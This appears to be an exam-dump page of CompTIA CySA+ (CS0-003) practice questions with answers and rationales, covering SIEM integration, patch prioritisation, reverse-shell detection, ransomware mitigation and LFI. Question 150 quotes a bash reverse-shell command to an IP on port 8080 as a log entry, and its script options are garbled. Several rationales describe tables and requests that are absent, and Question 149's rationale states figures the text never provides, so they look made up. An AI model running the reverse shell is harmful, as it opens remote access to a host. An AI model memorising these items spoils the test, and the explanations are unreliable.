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CS0-003: CompTIA Cybersecurity Analyst (CySA+) Certification Exam Dumps & PassGuide CS0-003 Examen

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CompTIA CS0-003 Prüfungsplan:

Thema
Einzelheiten

Thema 1

Security Operations: It focuses on analyzing indicators of potentially malicious activity, using tools and techniques to determine malicious activity, comparing threat intelligence and threat hunting concepts, and explaining the importance of efficiency and process improvement in security operations.

Thema 2

Reporting and Communication: This topic focuses on explaining the importance of vulnerability management and incident response reporting and communication.

Thema 3

Vulnerability Management: This topic discusses involving implementing vulnerability scanning methods, analyzing vulnerability assessment tool output, analyzing data to prioritize vulnerabilities, and recommending controls to mitigate issues. The topic also focuses on vulnerability response, handling, and management.

Thema 4

Incident Response and Management: It is centered around attack methodology frameworks, performing incident response activities, and explaining preparation and post-incident phases of the life cycle.

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CompTIA Cybersecurity Analyst (CySA+) Certification Exam CS0-003 Prüfungsfragen mit Lösungen (Q148-Q153):

148. Frage
A security program was able to achieve a 30% improvement in MTTR by integrating security controls into a SIEM. The analyst no longer had to jump between tools. Which of the following best describes what the security program did?

A. Data enrichment
B. Threat feed combination
C. Security control plane
D. Single pane of glass

Antwort: D

Begründung:
A single pane of glass is a term that describes a unified view or interface that integrates multiple tools or data sources into one dashboard or console. A single pane of glass can help improve security operations by providing visibility, correlation, analysis, and alerting capabilities across various security controls and systems. A single pane of glass can also help reduce complexity, improve efficiency, and enhance decision making for security analysts. In this case, a security program was able to achieve a 30% improvement in MTTR by integrating security controls into a SIEM, which provides a single pane of glass for security operations. Official Reference: https://www.eccouncil.org/cybersecurity-exchange/threat-intelligence/cyber-kill-chain-seven-steps-cyberattack

149. Frage
Patches for two highly exploited vulnerabilities were released on the same Friday afternoon. Information about the systems and vulnerabilities is shown in the tables below:

Which of the following should the security analyst prioritize for remediation?

A. manning
B. rogers
C. brees
D. brady

Antwort: D

Begründung:
Brady should be prioritized for remediation, as it has the highest risk score and the highest number of affected users. The risk score is calculated by multiplying the CVSS score by the exposure factor, which is the percentage of systems that are vulnerable to the exploit. Brady has a risk score of 9 x 0.8 = 7.2, which is higher than any other system. Brady also has 500 affected users, which is more than any other system. Therefore, patching brady would reduce the most risk and impact for the organization. The other systems have lower risk scores and lower numbers of affected users, so they can be remediated later.

150. Frage
A security analyst identified the following suspicious entry on the host-based IDS logs:
bash -i >& /dev/tcp/10.1.2.3/8080 0>&1
Which of the following shell scripts should the analyst use to most accurately confirm if the activity is ongoing?

A. #!/bin/bashnc 10.1.2.3 8080 -vv >dev/null && echo "Malicious activity" Il echo "OK"
B. #!/bin/bashls /opt/tcp/10.1.2.3/8080 >dev/null && echo "Malicious activity" I| echo "OK"
C. #!/bin/bashps -fea | grep 8080 >dev/null && echo "Malicious activity" I| echo "OK"
D. #!/bin/bashnetstat -antp Igrep 8080 >dev/null && echo "Malicious activity" I| echo "OK"

Antwort: D

Begründung:
The suspicious entry on the host-based IDS logs indicates that a reverse shell was executed on the host, which connects to the remote IP address 10.1.2.3 on port 8080. The shell script option D uses the netstat command to check if there is any active connection to that IP address and port, and prints "Malicious activity" if there is, or "OK" otherwise. This is the most accurate way to confirm if the reverse shell is still active, as the other options may not detect the connection or may produce false positives.
ReferenceCompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 8: Incident Response, page 339.Reverse Shell Cheat Sheet, Bash section.

151. Frage
Which of following would best mitigate the effects of a new ransomware attack that was not properly stopped by the company antivirus?

A. Implement vulnerability management.
B. Deploy sandboxing.
C. Install a firewall.
D. Update the application blocklist.

Antwort: B

Begründung:
Sandboxing is a technique that isolates potentially malicious programs or files in a controlled environment, preventing them from affecting the rest of the system. It can help mitigate the effects of a new ransomware attack by preventing it from encrypting or deleting important data or spreading to other devices.

152. Frage
A security analyst is trying to validate the results of a web application scan with Burp Suite. The security analyst performs the following:

Which of the following vulnerabilitles Is the securlty analyst trylng to valldate?

A. LFI
B. CSRF
C. XSS
D. SQL injection

Antwort: A

Begründung:
The security analyst is validating a Local File Inclusion (LFI) vulnerability, as indicated by the "/.../.../.../" in the GET request which is a common indicator of directory traversal attempts associated with LFI. The other options are not relevant for this purpose: SQL injection involves injecting malicious SQL statements into a database query; XSS involves injecting malicious scripts into a web page; CSRF involves tricking a user into performing an unwanted action on a web application.
References: According to the CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition1, one of the objectives for the exam is to "use appropriate tools and methods to manage, prioritize and respond to attacks and vulnerabilities". The book also covers the usage and syntax of Burp Suite, a tool used for testing web application security, in chapter 6. Specifically, it explains the meaning and function of each component in Burp Suite, such as Repeater, which allows the security analyst to modify and resend individual requests1, page 239. Therefore, this is a reliable source to verify the answer to the question.

153. Frage
......

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Alan Young Alan Young

Biography

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